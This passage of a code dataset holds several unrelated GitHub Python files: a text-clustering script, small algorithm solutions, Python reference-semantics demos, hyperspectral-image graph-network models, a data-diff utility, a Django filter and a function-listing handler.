tfidf.append(tfidf_model[corpus[i]])\n    \n#Create Pairwise Document Siliarity Index\nn=len(dict_corp)\nindex = gs.similarities.SparseMatrixSimilarity(tfidf_model[corpus], num_features = n)    \n\n\n#TFIDF Values per Document\n\n'''\nfor i in range(0,len(tfidf)):\n    s='Review' + ' ' + str(i+1)+' TFIDF'\n    \n    for j in range(0, len(tfidf[i])):\n        s = s + ' (' + dict.get(tfidf[i][j][0]) + ',' \n        s = s + ('%.3f' % tfidf[i][j][1]) + ')'\n'''\n    \n# Produces Document Simalarity\n\n#Repeat Process stem and tokenize\nfor i in range(0, len(corpus)):\n    sim = index[tfidf_model[corpus[i]]]\n    for j in range(0, len(sim)):\n        sim[j]    \n\n#cluster analysis\ndef tokenize_and_stem(text):\n    # first tokenize by sentence, then by word to ensure that punctuation is caught as it's own token\n    tokens = [word for sent in nltk.sent_tokenize(text) for word in nltk.word_tokenize(sent)]\n    filtered_tokens = []\n    # filter out any tokens not containing letters (e.g., numeric tokens, raw punctuation)\n    for token in tokens:\n        if re.search('[a-zA-Z]', token):\n            filtered_tokens.append(token)\n    stems = [wnl.lemmatize(t) for t in filtered_tokens]\n    return stems \n\ndef tokenize_only(text):\n    # first tokenize by sentence, then by word to ensure that punctuation is caught as it's own token\n    tokens = [word.lower() for sent in nltk.sent_tokenize(text) for word in nltk.word_tokenize(sent)]\n    filtered_tokens = []\n    # filter out any tokens not containing letters (e.g., numeric tokens, raw punctuation)\n    for token in tokens:\n        if re.search('[a-zA-Z]', token):\n            filtered_tokens.append(token)\n    return filtered_tokens\n\ntotalvocab_stemmed = []\ntotalvocab_tokenized = []\nfor i in doc:\n    allwords_stemmed = tokenize_and_stem(i) #for each item in 'synopses', tokenize/stem\n    totalvocab_stemmed.extend(allwords_stemmed) #extend the 'totalvocab_stemmed' list\n    \n    allwords_tokenized = tokenize_only(i)\n    totalvocab_tokenized.extend(allwords_tokenized)\n#Define Vectorizer Parameters\nimport sklearn as sk\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom scipy.spatial.distance import cdist\nfrom sklearn.cluster import KMeans\nfrom sklearn.externals import joblib\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#computes similarity\ntfidf_vectorizer = TfidfVectorizer(max_df=0.8, max_features=200000, min_df=0.2, stop_words=stopwords, use_idf=True, tokenizer=tokenize_and_stem, ngram_range=(1,3))\n\ntfidf_matrix = tfidf_vectorizer.fit_transform(doc)\n\n#Subset Matrix and compute distance\npart_one = tfidf_matrix\ndist_matrix_one = 1-cosine_similarity(part_one)\n\n\n\nterms= tfidf_vectorizer.get_feature_names()\n\n#Cluster Analysis\nnum_clusters = 10\n\nkm = KMeans(n_clusters=num_clusters)\n\nkm.fit(tfidf_matrix)\n\nclusters=km.labels_.tolist()\n\nclusters = km.labels_.tolist()\n\n#plot use elbow method to determine cluster\n\nmms=sk.preprocessing.MaxAbsScaler()\nmms.fit(tfidf_matrix)\ntransformed_matrix = mms.transform(tfidf_matrix)\n\nsum_of_squared_dist = []\nKl=range(1,50)\n\nfor k in Kl:\n    km = KMeans(n_clusters=k)\n    km = km.fit(transformed_matrix)\n    \n    sum_of_squared_dist.append(km.inertia_)\n\nplt.plot(Kl, sum_of_squared_dist, 'bx-')\nplt.xlabel('K')\nplt.ylabel('sum_of_squared_dist')\nplt.title('optimal k')\nplt.show()\n\n#Visualize Cluster\nreviews = {'Wine':variety, 'Reviews':doc,'cluster':clusters}\n\ncluster_frame=pd.DataFrame(reviews, index = [clusters], columns = ['Wine', 'cluster'])\n\nprint(cluster_frame[0:10])\n\n\n#subset matrix\n                 \n#create data frame that has the result of the MDS plus the cluster numbers and titles\n\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom sklearn.manifold import MDS\nfrom IPython import get_ipython\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nMDS()\n\n# convert two components as we're plotting points in a two-dimensional plane\n# \"precomputed\" because we provide a distance matrix\n# we will also specify `random_state` so the plot is reproducible.\nmds = MDS(n_components=2, dissimilarity=\"precomputed\",  random_state=1)\n\npos = mds.fit_transform(dist_matrix_one)  # shape (n_components, n_samples)\n\nxs, ys = pos[:, 0], pos[:, 1]\nprint()\nprint()\n\ndf_2 = pd.DataFrame(dict(x=xs, y=ys, clusters=clusters, title=variety)) \n\n#group by cluster\ngroups = df_2.groupby('clusters')\n\n# set up plot\nfig, ax = plt.subplots(figsize=(20, 20)) # set size\nax.margins(0.05) # Optional, just adds 5% padding to the autoscaling\n\n#iterate through groups to layer the plot\n#note that I use the cluster_name and cluster_color dicts with the 'name' lookup to return the appropriate color/label\nfor name, group in groups:\n    ax.plot(group.x, group.y, marker='o', linestyle='', ms=12, \n            label=clusters,  \n            mec='none')\n    ax.set_xlim([-.9,.9])\n    ax.set_ylim([-.9,.9])\n    ax.set_aspect('auto')\n    ax.tick_params(\\\n        axis= 'x',          # changes apply to the x-axis\n        which='both',      # both major and minor ticks are affected\n        bottom=True,      # ticks along the bottom edge are off\n        top=False,         # ticks along the top edge are off\n        labelbottom=True)\n    ax.tick_params(\\\n        axis= 'y',         # changes apply to the y-axis\n        which='both',      # both major and minor ticks are affected\n        left=True,      # ticks along the bottom edge are on\n        top=False,         # ticks along the top edge are off\n        labelleft=True\n        )\n\nfor i in range(len(df_2)):\n    ax.text(df_2.loc[i]['x'], df_2.loc[i]['y'], df_2.loc[i]['clusters'], size=24)  \n\n    \nplt.show() #show the plot\n\ncentroids=km.cluster_centers_\n\ncentroids_x = centroids[:,0]\ncentroids_y=centroids[:,1]\n\nplt.scatter(centroids_x, centroids_y, color='black', label=clusters)","repo_name":"glflemin/Text-Mining","sub_path":"Text_mining_hw1_Cluster_Code.py","file_name":"Text_mining_hw1_Cluster_Code.py","file_ext":"py","file_size_in_byte":8130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"4784390499","text":"# f(i) - maksymalny zysk zcięcia do i-tego drzewa\n\n# f(i) = max (f(i-2) + value[i], f(i-1))\n\ndef lumberjack(trees):\n    n = len(trees)\n    x2 = trees[0]\n    x1 = max(trees[0], trees[1])\n    for i in range(2, n):\n        x1, x2 = max(x2 + trees[i], x1), x1\n    return x1\n\n\narr = [5, 1, 12, 14, 2, 2, 2, 19, 1, 7]\nprint(lumberjack(arr))\n","repo_name":"karpinsk/ASD","sub_path":"Dynamic programming/cutting_trees.py","file_name":"cutting_trees.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"7993926181","text":"INF = 10 ** 10\n\nclass Solution(object):\n    def maxSumDivThree(self, nums):\n        dp = [0, -INF, -INF]\n        for num in nums:\n            nxt = dp[:]\n            for i in xrange(3):\n                j = (num + i) % 3\n                nxt[j] = max(nxt[j], dp[i] + num)\n            dp = nxt[:]\n            #print dp\n        return dp[0]\n","repo_name":"Wizmann/ACM-ICPC","sub_path":"Leetcode/Algorithm/python/2000/01262-Greatest Sum Divisible by Three.py","file_name":"01262-Greatest Sum Divisible by Three.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"79"}
+{"seq_id":"15018600340","text":"\ndef modify(s):\n    return(s.replace(\"he\",\" Modified \"))\n    #s=\"modify\"\n\ns1= \"hello\"\nprint(\"s1 = \",s1)\ns3=modify(s1)\nprint(\"after modify(s),  s1= \",s1, \" s3 = \",s3)\ns2 = s1.replace(\"o\",\"\")\nprint(\"after s1.replace,  s1= \",s1, \" s2 = \", s2)\n\n#----------------------------------------------------------------------\n# var assignment\na = [1, 2, 3]\nb = a\nb.append(4)\nb = ['a', 'b']\nprint(a, b)\n\nd=[1,2,3,5]\nc = [1, 2, 3]\nd = c\nd.append(4)\nd = ['c', 'd']\nprint(c, d)\n\n#----------------------------------------------------------------------\ndef foo(a):\n    print(id(a))\n    a.append(1)\n\na = []\nprint(id(a))\nfoo(a)\nprint(a)\n\n#----------------------------------------------------------------------\n'''\nThe parameter passed in is actually a reference to an object,\nbut the reference is passed by value.\n'''\ndef foo1(a):\n    print('In fool, a id',id(a))\n    a.append(1)\n    # re-assignment\n    a = [1, 2]\n\na = []\nprint('In fool, a id',id(a))\nfoo1(a)\nprint(a)\n\n#----------------------------------------------------------------------\ndef try_to_change_list_reference1(the_list):\n    print('got', the_list)\n    the_list = ['and', 'we', 'can', 'not', 'lie']\n    print('set to', the_list)\n\nouter_list = ['we', 'like', 'proper', 'English']\n\nprint('\\nbefore, outer_list =', outer_list)\ntry_to_change_list_reference1(outer_list)\nprint('after, outer_list =', outer_list)\n\n#----------------------------------------------------------------------\ndef try_to_change_string_reference2(the_string):\n    print('got', the_string)\n    the_string = 'In a kingdom by the sea'\n    print('set to', the_string)\n\nouter_string = 'It was many and many a year ago'\n\nprint('\\nbefore, outer_string =', outer_string)\ntry_to_change_string_reference2(outer_string)\nprint('after, outer_string =', outer_string)\n\n#----------------------------------------------------------------------\n","repo_name":"mike03052000/python","sub_path":"Training/HackRank/Level-0/func-1.py","file_name":"func-1.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"39139276107","text":"\n#predicting and submission file\npred_test_y = np.mean([outputs[i][1] for i in range(len(outputs))], axis = 0)\npred_test_y = (pred_test_y > best_thresh).astype(int)\n\n\nsub = pd.read_csv('../input/sample_submission.csv')\nout_df = pd.DataFrame({\"qid\":sub[\"qid\"].values})\nout_df['prediction'] = pred_test_y\nout_df.to_csv(\"submission.csv\", index=False)\n","repo_name":"Kalyankr/Insincere-questions-classification","sub_path":"output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"42170322378","text":"import numpy as np\r\nfrom scipy.linalg import eigh\r\nfrom sklearn import preprocessing\r\nimport matplotlib.pyplot as plt\r\nfrom skimage.segmentation import slic, mark_boundaries\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch_geometric.nn import GATv2Conv, EdgeConv\r\nimport spectral as spy\r\nimport os\r\n\r\ndef SELF(HSI, train_idx, K: int, eigs_thres: float , beta: float):\r\n    num_total, bands = HSI.shape\r\n    train_set = HSI[train_idx[:, 0], :]\r\n    num_train = train_set.shape[0]\r\n    total_2 = np.linalg.norm(HSI, axis=1)**2\r\n    train_2 = np.linalg.norm(train_set, axis=1)**2\r\n    total_sum = np.matmul(train_set, HSI.T)\r\n    total_sum = np.tile(total_2[None],(num_train,1)) + np.tile(train_2[None].T,(1,num_total)) -2.0*total_sum\r\n    total_sum = np.sqrt(np.where(total_sum>=0, total_sum,0))\r\n    _ind = np.argsort(total_sum, axis=1)\r\n    sigma_train = np.zeros(num_train)\r\n    for i in range(num_train):\r\n        sigma_train[i] = total_sum[i, _ind[i, K]]\r\n    num_class= int(np.amax(train_idx[:, 1]))\r\n    num_perclass = np.zeros(num_class,dtype='int')\r\n    for i in range(num_class):\r\n        idx = np.where(train_idx[:, 1]==i+1)[-1]\r\n        num_perclass[i] = len(idx)\r\n    W_lb = np.zeros((num_train,num_train))\r\n    W_lw = np.zeros((num_train,num_train))\r\n    for i in range(num_train):\r\n        p_cur = train_set[i, :]\r\n        p_lab = train_idx[i][1]\r\n        for j in range(i, num_train):\r\n            if train_idx[j][1] == p_lab:\r\n                tmp1 = (1.0/num_train-1.0/num_perclass[p_lab-1])*\\\r\n                      np.exp(-np.linalg.norm(p_cur- train_set[j, :])**2/(sigma_train[i]*sigma_train[j]))\r\n                tmp2 = (1.0/num_perclass[p_lab-1])*np.exp(-np.linalg.norm(p_cur- train_set[j, :])**2\r\n                                                           /(sigma_train[i]*sigma_train[j]))\r\n            else:\r\n                tmp1 = 1.0/num_train\r\n                tmp2 = 0.0\r\n            W_lb[i, j] = W_lb[j,i] = tmp1\r\n            W_lw[i, j] = W_lw[j,i] = tmp2\r\n\r\n    S_lb = np.matmul(np.matmul(train_set.T,np.diag(np.sum(W_lb, axis=1))-W_lb),train_set)\r\n    S_lw = np.matmul(np.matmul(train_set.T,np.diag(np.sum(W_lw, axis=1))-W_lw),train_set)\r\n    mu = (np.sum(HSI, axis=0)/num_total)[:, None]\r\n    S_t = np.matmul(HSI.T, HSI)- np.matmul(mu,mu.T)*num_total\r\n    S_rlb = (1.0-beta)*S_lb + beta*S_t\r\n    S_rlw = (1.0-beta)*S_lw + beta*np.eye(bands)\r\n    eigs_val, vec_eigs = eigh(S_rlb, S_rlw)\r\n\r\n    compress_num = int(np.min(np.where(np.flip(eigs_val).cumsum(0) / np.sum(eigs_val) > eigs_thres))+1)\r\n\r\n    T = np.flip(vec_eigs[:, -compress_num:], axis=1)\r\n    #T = np.multiply(T, np.tile(np.sqrt(np.flip(eigs_val[-compress_num:])[None]), (bands,1)))\r\n    return np.matmul(HSI, T)\r\n\r\ndef image_show(data, Height, Width):\r\n    minMax = preprocessing.MinMaxScaler()\r\n    img = minMax.fit_transform(data[:, :3])\r\n    img = np.reshape(img, [Height, Width, 3])\r\n    plt.imshow(img)\r\n    plt.pause(1)\r\n\r\ndef Draw_Classification_Map(label, name: str, scale: float = 4.0, dpi: int = 400):\r\n    '''\r\n    get classification map , then save to given path\r\n    :param label: classification label, 2D\r\n    :param name: saving path and file's name\r\n    :param scale: scale of image. If equals to 1, then saving-size is just the label-size\r\n    :param dpi: default is OK\r\n    :return: null\r\n    '''\r\n    fig, ax = plt.subplots()\r\n    numlabel = np.array(label)\r\n    v = spy.imshow(classes=numlabel.astype(np.int16), fignum=fig.number)\r\n    ax.set_axis_off()\r\n    ax.xaxis.set_visible(False)\r\n    ax.yaxis.set_visible(False)\r\n    fig.set_size_inches(label.shape[1] * scale / dpi, label.shape[0] * scale / dpi)\r\n    foo_fig = plt.gcf()  # 'get current figure'\r\n    plt.gca().xaxis.set_major_locator(plt.NullLocator())\r\n    plt.gca().yaxis.set_major_locator(plt.NullLocator())\r\n    plt.subplots_adjust(top=1, bottom=0, right=1, left=0, hspace=0, wspace=0)\r\n    plt.pause(1)\r\n    foo_fig.savefig(name + '.png', format='png', transparent=True, dpi=dpi, pad_inches=0)\r\n    pass\r\n\r\ndef SegmentsLabelProcess(labels):\r\n    '''\r\n    对labels做后处理，防止出现label不连续现象\r\n    '''\r\n    labels = np.array(labels, np.int64)\r\n    H, W = labels.shape\r\n    ls = list(set(np.reshape(labels, [-1]).tolist()))\r\n\r\n    dic = {}\r\n    for i in range(len(ls)):\r\n        dic[ls[i]] = i\r\n\r\n    new_labels = labels\r\n    for i in range(H):\r\n        for j in range(W):\r\n            new_labels[i, j] = dic[new_labels[i, j]]\r\n    return new_labels\r\n\r\ndef SLIC_seg(HSI, Datacube, segments_list):\r\n    H, W, bands =Datacube.shape\r\n\r\n    minMax2 = preprocessing.MinMaxScaler()\r\n    HSI = np.reshape(HSI,[H*W,3])\r\n    HSI = minMax2.fit_transform(HSI)\r\n    HSI = np.reshape(HSI,[H,W,3])\r\n    num_scale = len(segments_list)\r\n    node_feature_list = []\r\n    edge_index_list = []\r\n    Qmatrix_list = []\r\n    for k in range(num_scale):\r\n        segments = slic(Datacube, n_segments=segments_list[k], compactness=0.1)\r\n        if segments.max() + 1 != len(list(set(np.reshape(segments, [-1]).tolist()))):\r\n            segments = SegmentsLabelProcess(segments)\r\n        show_seg = mark_boundaries(HSI, segments)\r\n        plt.figure()\r\n        plt.imshow(show_seg)\r\n        plt.show()\r\n\r\n        superpixel_num_cur = segments.max() + 1\r\n        segments = np.reshape(segments, [-1])\r\n        Q = np.zeros([H * W, superpixel_num_cur], dtype=np.float32)\r\n\r\n        for i in range(superpixel_num_cur):\r\n            idx = np.where(segments == i)[0]\r\n            Q[idx, i] = 1\r\n        segments = np.reshape(segments, [H, W])\r\n        Affine=np.zeros((superpixel_num_cur,superpixel_num_cur), dtype='int')\r\n        for i in range(H):\r\n            for j in range(W - 1):\r\n                if (segments[i, j] != segments[i, j + 1]):\r\n                    Affine[segments[i, j], segments[i, j + 1]] = Affine[segments[i, j + 1], segments[i, j]] = 1\r\n\r\n        for i in range(H - 1):\r\n            for j in range(W):\r\n                if (segments[i, j] != segments[i + 1, j]):\r\n                    Affine[segments[i, j], segments[i + 1, j]] = Affine[segments[i + 1, j], segments[i, j]] = 1\r\n\r\n        edge_index = np.empty((2, 0), dtype=int)\r\n        for i in range(superpixel_num_cur):\r\n            for j in range(i + 1, superpixel_num_cur):\r\n                if (Affine[i, j] != 0):\r\n                    edge_index = np.concatenate((edge_index, np.array([[i, j], [j, i]])), axis=1)\r\n\r\n        #node_feature_list.append(S)\r\n        edge_index_list.append(edge_index)\r\n        Qmatrix_list.append(Q)\r\n    return edge_index_list, Qmatrix_list\r\n\r\n\r\nclass SSConv(nn.Module):\r\n    '''\r\n    Spectral-Spatial Convolution\r\n    '''\r\n    def __init__(self, in_ch, out_ch, num_depth_conv_layer, kernel_size=5):\r\n        super(SSConv, self).__init__()\r\n        self.num_depth_conv_layer = num_depth_conv_layer\r\n        self.depth_conv = nn.Sequential()\r\n        for i in range(self.num_depth_conv_layer):\r\n            self.depth_conv.add_module('depth_conv_'+str(i),nn.Conv2d(in_channels=out_ch, out_channels=out_ch,\r\n                                    kernel_size = kernel_size, stride=1, padding=kernel_size//2, groups=out_ch))\r\n\r\n        self.point_conv = nn.Conv2d(\r\n            in_channels=in_ch,\r\n            out_channels=out_ch,\r\n            kernel_size=1,\r\n            stride=1,\r\n            padding=0,\r\n            groups=1,\r\n        )\r\n        self.Act = nn.LeakyReLU(inplace=True)\r\n        self.BN = nn.BatchNorm2d(in_ch)\r\n\r\n\r\n    def forward(self, input):\r\n        out = self.point_conv(self.BN(input))\r\n        out = self.Act(out)\r\n        for i in range(self.num_depth_conv_layer):\r\n            out = self.depth_conv[i](out)\r\n            out = self.Act(out)\r\n        return out\r\n\r\nclass myGNN(torch.nn.Module):\r\n    def __init__(self, num_inputfeatures: int, num_outfeatures: int):\r\n        super().__init__()\r\n        self.BN = nn.BatchNorm1d(num_inputfeatures)\r\n        self.conv1 = GATv2Conv(num_inputfeatures, 64, heads=4)\r\n        self.conv2 = GATv2Conv(256, num_outfeatures, heads=1)\r\n\r\n    def forward(self, x: torch.Tensor, edge_index: torch.Tensor):\r\n        x = self.BN(x)\r\n        x = self.conv1(x, edge_index)\r\n        x = F.leaky_relu(x)\r\n        x = self.conv2(x, edge_index)\r\n        return x\r\n\r\n\r\nclass MSDesGATnet(nn.Module):\r\n    def __init__(self, height: int, width: int, channel: int, class_count: int,\r\n                 Qmatrix_list, Q_Hat_T_list, edge_index_list, SSConv_num_depth_conv_layer = 1,SSConv_kernel = 5):\r\n        super(MSDesGATnet, self).__init__()\r\n        self.class_count = class_count\r\n        self.channel = channel\r\n        self.height = height\r\n        self.width = width\r\n        self.edge_index_list = edge_index_list\r\n        self.Qmatrix_list = Qmatrix_list\r\n        self.layer_num = len(Qmatrix_list)\r\n        self.Q_list_Hat_T = Q_Hat_T_list\r\n        self.GAT_layers = nn.Sequential()\r\n        input_num = channel\r\n        output_num = channel\r\n        for i in range(self.layer_num):\r\n            self.GAT_layers.add_module('my_GNN_l'+str(i), myGNN(input_num, output_num))\r\n            input_num = input_num + output_num\r\n            output_num = input_num\r\n\r\n        self._linear = nn.Linear(input_num, self.class_count)\r\n        self._CNN_denoise1 = SSConv(channel, channel,num_depth_conv_layer=SSConv_num_depth_conv_layer,kernel_size=SSConv_kernel)\r\n        self._CNN_denoise2 = SSConv(output_num, output_num,num_depth_conv_layer=SSConv_num_depth_conv_layer,kernel_size=SSConv_kernel)\r\n\r\n    def forward(self, x: torch.Tensor):\r\n        (h, w, c) = x.shape\r\n        #x0 = x.reshape([h * w, -1])\r\n        x = torch.unsqueeze(x.permute([2, 0, 1]), 0)\r\n        H_0 = self._CNN_denoise1(x)\r\n        H_0 = torch.squeeze(H_0, 0).permute([1, 2, 0])\r\n        x_flatten = H_0.reshape([h * w, -1])\r\n\r\n        for i in range(self.layer_num):\r\n            superpixels_flatten = torch.sparse.mm(self.Q_list_Hat_T[i], x_flatten)\r\n            H_i = self.GAT_layers[i](superpixels_flatten, self.edge_index_list[i])\r\n            x_flatten = torch.cat([x_flatten, torch.sparse.mm(self.Qmatrix_list[i], H_i)], dim=-1)\r\n\r\n        output = self._CNN_denoise2(x_flatten.reshape([1,h,w,-1]).permute([0,3,1,2]))\r\n        x_flatten = torch.squeeze(output, 0).permute([1, 2, 0]).reshape([h * w, -1])\r\n        Y = self._linear(x_flatten)\r\n        return Y\r\n\r\nclass EGNN(nn.Module):\r\n    def __init__(self, height: int, width: int, channel: int, class_count: int, out_channel: int,\r\n                 Qmatrix, Q_Hat_T, edge_index):\r\n        super(EGNN, self).__init__()\r\n        self.class_count = class_count\r\n        self.channel = channel\r\n        self.height = height\r\n        self.width = width\r\n        self.edge_index = edge_index\r\n        self.Qmatrix = Qmatrix\r\n        self.Q_list_Hat_T = Q_Hat_T\r\n        self.GNN1 = EdgeConv(nn.Sequential(nn.Linear(2*channel, out_channel), nn.ReLU(inplace=True)))\r\n        self.GNN2 = EdgeConv(nn.Sequential(nn.Linear(2*out_channel, out_channel), nn.ReLU(inplace=True)))\r\n        self.GNN3 = EdgeConv(nn.Sequential(nn.Linear(2*out_channel, out_channel), nn.ReLU(inplace=True)))\r\n        self.CNN = nn.Conv2d(out_channel, out_channel,kernel_size=3,stride=1,padding=1,groups=1)\r\n        self._linear = nn.Linear(out_channel, self.class_count)\r\n\r\n    def forward(self, x: torch.Tensor):\r\n        (h, w, c) = x.shape\r\n        x_flatten = x.reshape([h * w, -1])\r\n        superpixels_flatten = torch.sparse.mm(self.Q_list_Hat_T, x_flatten)\r\n        H1 = self.GNN1(superpixels_flatten, self.edge_index)\r\n        H2 = self.GNN2(H1, self.edge_index)\r\n        H3 = self.GNN2(H2, self.edge_index)\r\n        H4 = H1 + H2 + H3\r\n        output = torch.sparse.mm(self.Qmatrix, H4).reshape([1,h,w,-1]).permute([0,3,1,2])\r\n        output = self.CNN(output)\r\n        output = torch.squeeze(output, 0).permute([1, 2, 0]).reshape([h * w, -1])\r\n        output =self._linear(output)\r\n        return output\r\n\r\ndef write_acc(OA, AA, producer_acc, kappa, confusion_matrix, filename, method):\r\n    if os.path.exists(filename):\r\n        f = open(filename, 'a+')\r\n    else:\r\n        f = open(filename, 'w')\r\n    str_results = '\\n' + method + ': ======================' \\\r\n                  + \"\\nOA=\" + str(OA) \\\r\n                  + \"\\nAA=\" + str(AA) \\\r\n                  + '\\nkpp=' + str(kappa) \\\r\n                  + '\\nacc per class:' + str(producer_acc) \\\r\n                  + \"\\nconfusion matrix:\" + str(confusion_matrix) + \"\\n\"\r\n\r\n    f.write(str_results)\r\n    f.close()\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"l7170/MSDesGAT","sub_path":"HSI_SELF.py","file_name":"HSI_SELF.py","file_ext":"py","file_size_in_byte":12433,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"}
+{"seq_id":"36287585752","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Data differ code\n__author__ = \"Ivan Begtin (ivan@begtin.tech)\"\n__license__ = \"MIT\"\n\nimport io\nimport bson\nimport json\nimport csv\nimport xxhash\n\n\ndef csv_index(key, csvf, delimiter=\";\"):\n    \"\"\"Index csv file records and return dict with key and hash of record\"\"\"\n    bindex = {}\n    reader = csv.DictReader(csvf, delimiter=delimiter)\n    for r in reader:\n        rh = xxhash.xxh64(str(r)).hexdigest()\n        bindex[r[key]] = rh\n    return bindex\n\n\ndef json_index(key, jsonf):\n    \"\"\"Index json file records and return dict with key and hash of each record\"\"\"\n    bindex = {}\n    complexkey = False\n    if key.find(\".\") > -1:\n        parts = key.split(\".\")\n        complexkey = True\n    for line in jsonf:\n        r = json.loads(line)\n        rh = xxhash.xxh64(bson.BSON.encode(r)).hexdigest()\n        if not complexkey:\n            bindex[r[key]] = rh\n        else:\n            v = r\n            for p in parts:\n                v = v[p]\n            bindex[v] = rh\n    return bindex\n\n\ndef bson_index(key, bsonf):\n    \"\"\"Index bson file records and return dict with key and hash of each record\"\"\"\n\n    bindex = {}\n    for r in bson.decode_file_iter(bsonf):\n        rh = xxhash.xxh64(bson.BSON.encode(r)).hexdigest()\n        #        rh = xxhash.xxh64(str(r)).intdigest()\n        bindex[r[key]] = rh\n    return bindex\n\n\ndef dict_index(key, arr):\n    \"\"\"Index python dict records and return dict with key and hash of each record\"\"\"\n    bindex = {}\n    for r in arr:\n        rh = xxhash.xxh64(str(r)).hexdigest()\n        bindex[r[key]] = rh\n    return bindex\n\n\ndef compare_index(lefti, righti):\n    \"\"\"Compares to indexes and returns dict with all added, removed and changed records\"\"\"\n    setl = set(lefti.keys())\n    setr = set(righti.keys())\n    diffl = setl.difference(setr)\n    diffr = setr.difference(setl)\n    inter = setl.intersection(setr)\n    changed = []\n    for i in inter:\n        if lefti[i] != righti[i]:\n            changed.append(i)\n    report = {\"a\": [], \"c\": [], \"d\": []}\n    for i in diffr:\n        report[\"a\"].append(i)\n    for i in diffl:\n        report[\"d\"].append(i)\n    for i in changed:\n        report[\"c\"].append(i)\n    report[\"stats\"] = [len(setl), len(report[\"a\"]), len(report[\"c\"]), len(report[\"d\"])]\n    return report\n\n\ndef basediff(key, left, right, difftype=\"csv\"):\n    \"\"\"Generates diff report between left and right files\"\"\"\n    if isinstance(left, io.IOBase):\n        leftf = left\n    elif difftype == \"csv\":\n        leftf = open(left, \"r\", encoding=\"utf8\")\n    else:\n        leftf = open(left, \"rb\")\n\n    if isinstance(right, io.IOBase):\n        rightf = right\n    elif difftype == \"csv\":\n        rightf = open(right, \"r\", encoding=\"utf8\")\n    else:\n        rightf = open(right, \"rb\")\n\n    if difftype == \"csv\":\n        lefti = csv_index(key, leftf)\n        righti = csv_index(key, rightf)\n    elif difftype == \"bson\":\n        lefti = bson_index(key, leftf)\n        righti = bson_index(key, rightf)\n    elif difftype == \"json\":\n        lefti = json_index(key, leftf)\n        righti = json_index(key, rightf)\n    else:\n        return None\n    report = compare_index(lefti, righti)\n    return report\n\n\ndef bsondiff(key, left, right):\n    \"\"\"Returns difference between two bson files by selected unique key\"\"\"\n    return basediff(key, left, right, difftype=\"bson\")\n\n\ndef jsondiff(key, left, right):\n    \"\"\"Returns difference between two json files by selected unique key\"\"\"\n    return basediff(key, left, right, difftype=\"json\")\n\n\ndef csvdiff(key, left, right):\n    \"\"\"Returns difference between two csv files by selected unique key\"\"\"\n    return basediff(key, left, right, difftype=\"csv\")\n\n\ndef arrdiff(key, left, right):\n    \"\"\"Returns difference between two arrays of dicts.\n    Each array record should be dict with unique id defined in 'key' variable\"\"\"\n    lefti = dict_index(key, left)\n    righti = dict_index(key, right)\n    return compare_index(lefti, righti)\n\n\nif __name__ == \"__main__\":\n    import sys\n\n    ext = sys.argv[1].rsplit(\".\", 1)[-1]\n    if ext == \"bson\":\n        report = bsondiff(sys.argv[3], sys.argv[1], sys.argv[2])\n    elif ext in [\"json\", \"jsonl\"]:\n        report = jsondiff(sys.argv[3], sys.argv[1], sys.argv[2])\n    elif ext == \"csv\":\n        report = csvdiff(sys.argv[3], sys.argv[1], sys.argv[2])\n    else:\n        print(\"Wrong file extension: bson, json or csv supported\")\n        sys.exit(1)\n    stats = {\"a\": len(report[\"a\"]), \"c\": len(report[\"c\"]), \"d\": len(report[\"d\"])}\n\n    print(json.dumps(stats, indent=4))\n","repo_name":"datacoon/datadifflib","sub_path":"datadiff/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":4526,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"44547634255","text":"import django_filters\nfrom backend.stores.models import Store\nfrom datetime import datetime\n\n\nclass StoreFilter(django_filters.FilterSet):\n    is_open = django_filters.BooleanFilter(method=\"is_open_filter\")\n\n    def is_open_filter(self, queryset, name, value):\n        if not value:\n            return queryset\n        datetime_today = datetime.today()\n        time = datetime_today.time()\n        queryset = queryset.filter(\n            open_times__hours_ranges__start_hour__lte=time,\n            open_times__hours_ranges__end_hour__gte=time,\n            open_times__weekday=datetime_today.weekday()\n            ).distinct()\n        return queryset\n\n    class Meta:\n        model = Store\n        fields = ['is_open']\n","repo_name":"lchorolque/cocos-minimarket","sub_path":"backend/stores/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"71974837376","text":"import json\n\ndef handle(value, sapi):\n    assert isinstance(value, dict)\n    data = value\n\n    response = {}\n    response_data = {}\n\n    success = False\n\n    email = data[\"email\"]\n\n    functions = sapi.get(email + \"_list_grains\", True)\n\n    if functions is not None and functions != \"\":\n        #sapi.log(functions)\n        functions = json.loads(functions)\n        f_list = []\n        for i in functions:\n            f = sapi.get(email + \"_grain_\" + functions[i], True)\n            if f is not None and f != \"\":\n                f = json.loads(f)\n                if \"modified\" not in f:\n                    f[\"modified\"] = 0\n\n                f_list.append(f)\n\n        response_data[\"functions\"] = f_list\n        response_data[\"message\"] = \"Found \" + str(len(f_list)) + \" functions.\"\n\n    else:\n        # no functions yet\n        response_data[\"functions\"] = []\n        response_data[\"message\"] = \"No functions yet.\"\n\n    success = True\n\n    if success:\n        response[\"status\"] = \"success\"\n    else:\n        response[\"status\"] = \"failure\"\n\n    response[\"data\"] = response_data\n\n    sapi.log(json.dumps(response))\n\n    return 